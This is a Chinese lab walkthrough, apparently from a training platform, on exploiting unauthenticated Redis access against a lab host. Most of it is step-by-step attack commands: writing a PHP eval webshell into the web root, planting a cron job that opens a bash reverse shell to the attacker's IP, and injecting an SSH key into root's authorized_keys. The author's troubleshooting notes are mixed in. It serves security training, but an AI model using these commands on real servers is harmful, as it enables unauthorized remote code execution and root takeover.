Redis未授权访问攻击

预备知识

Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库,和Memcached类似。Redis支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,Redis支持各种不同方式的排序。与Memcached一样,为了保证效率,数据都是缓存在内存中。区别的是Redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis也是一个高性能的key-value数据库。Redis的出现,很大程度补偿了Memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复 制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

Redis常用命令:

set testkey "Hello World"       # 设置键testkey的值为字符串Hello Worldget testkey                  # 获取键testkey的内容SET score 99                 # 设置键score的值为99INCR score                  # 使用INCR命令将score的值增加1GET score                   # 获取键score的内容keys *                       # 列出当前数据库中所有的键get anotherkey               # 获取一个不存在的键的值config set dir /home/test       # 设置工作目录config set dbfilename redis.rdb    # 设置备份文件名config get dir                  # 检查工作目录是否设置成功config get dbfilename          # 检查备份文件名是否设置成功save                        # 进行一次备份操作flushall                      # 删除所有数据(慎用)del key                      # 删除键为key的数据

实验环境

目标机器:CentOS7+Apache+Redis、IP地址:10.1.1.200
攻击机器:Kali、IP地址:10.1.1.100

工具安装

安装蚁剑

  • 下载好后,进行解压
    unzip AntSword-Loader-v4.0.3-linux-x64.zip

  • 进入 AntSword-Loader-v4.0.3-linux-x64 目录
    cd AntSword-Loader-v4.0.3-linux-x64

  • 设置可执行权限
    chmod u+x AntSword

  • 启动蚁剑
    sudo ./AntSword

redis连接工具安装

  • 解压
    tar -zxvf redis-6.0.3.tar.gz
  • 进入目录
    cd redis-6.0.3
  • make编译
    make
    编译后redis-cli默认生成在src目录,进入src目录,将redis-cli复制到/usr/bin 目录即可以在终端的任意目录下执行redis-cli:
cd src/cp redis-cli /usr/bincd ../../

信息收集

  1. 通过nmap进行端口扫描,发现如下端口开放:
  2. 通过浏览器,查看80端口打开的服务,发现测试页面
  3. 二话不说,直接上目录扫描,发现phpinfo.php页面
  4. 发现目标存在6379端口即redis服务,尝试验证是否存在redis未授权漏洞
    redis-cli -h 10.1.1.200 -p 6379

-h:指定连接的redis服务器

-p:指定redis服务器端口

info:打印系统信息,如Redis的版本、目标系统版本、系统架构等

如上图可以看到的确存在Redis未授权访问漏洞。

漏洞利用

Redis未授权写webshell

1)通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限

要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mdv3XVXB-1659958705190)(https://files.catbox.moe/3rlw5o.jpg)]

通过执行如下命令写入一句话木马到网站根目录:

redis-cli -h 10.1.1.200 -p 6379     #连接redis服务器config set dir /var/www/html      #设置数据库备份文件的放置路径config set dbfilename shell.php    #设置备份文件的文件名set x "<?php @eval($_POST['test']);?>"   #添加一个键”x”,值为一句话木马save     #保存

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bKbVFsjM-1659958705191)(https://files.catbox.moe/v2kqjp.png)]

  • 注意:设置键值为一句话木马时,可以使用如下形式:

set x “\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n”

  • 解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

  • 使用蚁剑连接

Redis未授权写定时任务反弹shell

1)Kali使用nc开启监听,kali终端下执行如下命令:

nc -lvvp 4433

2)执行如下命令写定时任务

redis-cli -h 10.1.1.200 -p 6379   #连接目标redis服务    set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1config set dir /var/spool/cron    #设置备份路径config set dbfilename root    #设置备份文件名save          #保存

3) 等待一分钟后得到shell

Redis未授权写SSH公钥获得shell

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 Redis的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以无需密码直接登录目标服务器。

1)生成公钥,默认情况下,生成在用户家目录下的 .ssh 目录下:

ssh-keygen -t rsa
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gnir6eTE-1659958705193)(https://files.catbox.moe/jm8b6c.jpg)]
*ls 查看/root/.ssh目录下文件

发现文件失踪,一整个愣住

回头看命令
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcqBjkMi-1659958705194)(https://files.catbox.moe/qw5jkt.png)]
发现人蠢到一定程度真的猪都不如,我以为这是输入密码一类的东西,于是自信瞎写,回头看发现貌似是要设置一个文件夹,不设置就默认
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q51Y47AA-1659958705195)(https://files.catbox.moe/1k1qbl.png)]
回头重新定位到当前目录,果然存在一个叫970410的鬼东西

2)将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9bL8K22c-1659958705195)(https://files.catbox.moe/8dpmvm.jpg)]
检查一手,刚才一波小问题瞬间让我不敢浪了,看看写进去了啥,确认无误

3)将foo.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey

4)连接Redis

redis-cli -h 10.1.1.200 -p 6379

5)设置备份文件路径

config set dir /root/.ssh/

6)设置上传公钥的备份文件名字为authorized_keys

config set dbfilename "authorized_keys"

save

7)远程连接目标机器

ssh root@10.1.1.200 -i /root/.ssh/id_rsa
发现出大问题,我这边好家伙不知道为啥就是链接不上

麻爪

没办法从头再来
把机器删除,将之前错误的操作修正,让他放在默认目录下面
我用的是合天网安实验室的环境,自己大虚拟机的回复下快照就好,建议多做一些快照,方便恢复



思索

不过话说做着做着我似乎想到之前的错误了,大概率是因为搞错了文件夹然后导致本地文件夹没有公钥文件所以才不成功,话不多say,尝试一下

  • 先移除文件

  • 尝试连接
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HRZO42yf-1659958705198)(https://files.catbox.moe/ya3twn.png)]
    连接失败,和之前一样,要求输入密码

  • 然后我们把移走的文件再弄回去
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XdwbTbM6-1659958705198)(https://files.catbox.moe/w1k10s.jpg)]

成功重新连接

ps:做这玩意真的细心,不然就自己坑自己,尤其自己太菜了,都不知道错在哪里。

链接:https://www.hetianlab.com/expc.do?ec=ECID80df-3b9e-4742-8524-1843d705386c
来源:合天网安实验室

redis未授权访问相关推荐

  1. redis 未授权访问详解

    一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...

  2. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Red ...

  3. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  4. Redis 未授权访问缺陷可轻易导致系统被黑

    Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在 ...

  5. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  6. 尝试从redis未授权访问到getshell的四种姿势(失败)

    尝试从redis未授权访问到getshell的四种姿势(失败) 使用Goby扫描某SRC的C段,发现一个Redis未授权,经验证漏洞存在,故尝试Getshell提高危害(拿更多赏金) 虽然Getshe ...

  7. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  8. redis未授权访问getshell的方式

    redis简介 Redis是一个开源的使用ANSI C语言编写.遵守BSD协议.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 端口:6379 环境 kali =>192.16 ...

  9. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

最新文章

  1. 优化拥有谓词or的子查询
  2. oracle 实现HA,oracle RAC的客户端HA配置
  3. python2.7配置tensorflow1.5.0和keras2.1.6
  4. PHP读取微信超时,'curl出错,错误码:28'
  5. SQL重复记录查询的几种方法
  6. WCF发布到IIS7问题的解决方案
  7. Regular Expression
  8. TensorFlow(4)-TFRecord
  9. java treemap_Java TreeMap keySet()方法与示例
  10. ntrip获取源列表_Ntrip协议简介(转)
  11. selenium:断言
  12. 怎么做视频伪原创 快手视频修改md5
  13. 小米 OJ 编程比赛 02 月常规赛 (Carryon 数数字)
  14. Leetcode 1284 Minimum Number of Flips to Convert Binary Matrix to Zero Matrix
  15. catia螺纹孔在二维图上不显示_catia里面螺纹怎么显示不出来呢??哪儿能设置...
  16. 准备金率上调,银行贷款加息对房产的影响
  17. 用ollddbg 寻找注册码,keymake写注册机教程
  18. QTreeWidget 勾选三种状态
  19. “六面魔方”里的浪潮
  20. 第八届cccc团体程序设计天梯赛——个人参赛总结——无代码纯粹的参赛总结

热门文章

  1. GB/T 20272-2006与GB/T 20008-2005
  2. 操作系统发展历程 (Unix、Linux、windows)
  3. 7款功能超牛的电脑软件,分分钟提高效率!
  4. 考研英语(五)——定语从句
  5. 【IoT】NFC 之 Type A 与 TYpe B 卡区别
  6. 剑指offer—丑数
  7. Java调用ffmepg+mencoder视频格式转换
  8. Storm_Storm主要特点
  9. 道可云元宇宙每日资讯|济南发布促进元宇宙产业创新发展行动计划
  10. 目标跟踪算法综述与分析